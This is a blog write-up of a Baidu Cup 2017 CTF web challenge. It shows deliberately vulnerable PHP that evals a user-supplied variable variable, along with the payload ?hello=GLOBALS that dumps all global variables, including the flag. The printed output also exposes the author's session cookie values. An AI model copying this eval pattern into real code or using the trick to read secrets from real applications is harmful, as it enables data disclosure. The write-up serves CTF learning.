# “百度杯”CTF比赛 2017 二月场--web 爆破-1 writeup

原创

会下雪的晴天 于 2019-06-14 15:03:25 发布 377 收藏 1

分类专栏： CTF做题记录

会下雪的晴天

本文链接：https://blog.csdn.net/weixin_43578492/article/details/91848511





## 题目描述


## 解题思路

创建赛题，点击链接得到一段源码：

```php
<?php
include "flag.php";
$a = @$_REQUEST['hello'];//REQUEST可以接收来自GET或者POST的数据
if(!preg_match('/^\w*$/',$a )){//preg_match 函数用于执行一个正则表达式匹配,返回 pattern 的匹配次数
  die('ERROR');
}
eval("var_dump($$a);");// var_dump() 函数返回变量的数据类型和值
show_source(__FILE__);
?>
```

这个代码的作用是如果匹配正则表达式`/^\w*$/`，就打印变量`$$a`

`$a`是hello，`$$a`是六位变量`$hello`；

由于`$a`在函数内，要想访问`$hello`,则需要将其改为超全局变量GLOBALS；

即，在URL后面加?hello=GLOBALS;

输出语句变为

```
eval("var_dump($$a);");
eval("var_dump($hello);");
eval("var_dump($GLOBALS);");
```

## 得到FLAG

array(9) { ["_GET"]=> array(1) { ["hello"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(8) { ["pgv_pvi"]=> string(10) "9934954496" ["UM_distinctid"]=> string(60) "1691d5723e69e2-097d6a887709f1-4d045769-100200-1691d5723e79b9" ["chkphone"]=> string(33) "acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O" ["pgv_si"]=> string(11) "s5845459968" ["__jsluid"]=> string(32) "f5db035817aa8f85b99b515458c0c726" ["Hm_lvt_2d0601bd28de7d49818249cf35d95943"]=> string(43) "1560219729,1560393804,1560402710,1560405235" ["Hm_lpvt_2d0601bd28de7d49818249cf35d95943"]=> string(10) "1560407501" ["ci_session"]=> string(40) "af0a7eb11415e47246d8ce27e259b4c09588814f" } ["_FILES"]=> array(0) { } ["_REQUEST"]=> array(1) { ["hello"]=> string(7) "GLOBALS" } ["flag"]=> string(38) "flag在一个长度为6的变量里面" ["d3f0f8"]=> string(42) "flag{1ba2ca18-ebbc-4e48-89f2-514d1ae7379a}" ["a"]=> string(7) "GLOBALS" ["GLOBALS"]=> *RECURSION* } <?php

flag{1ba2ca18-ebbc-4e48-89f2-514d1ae7379a}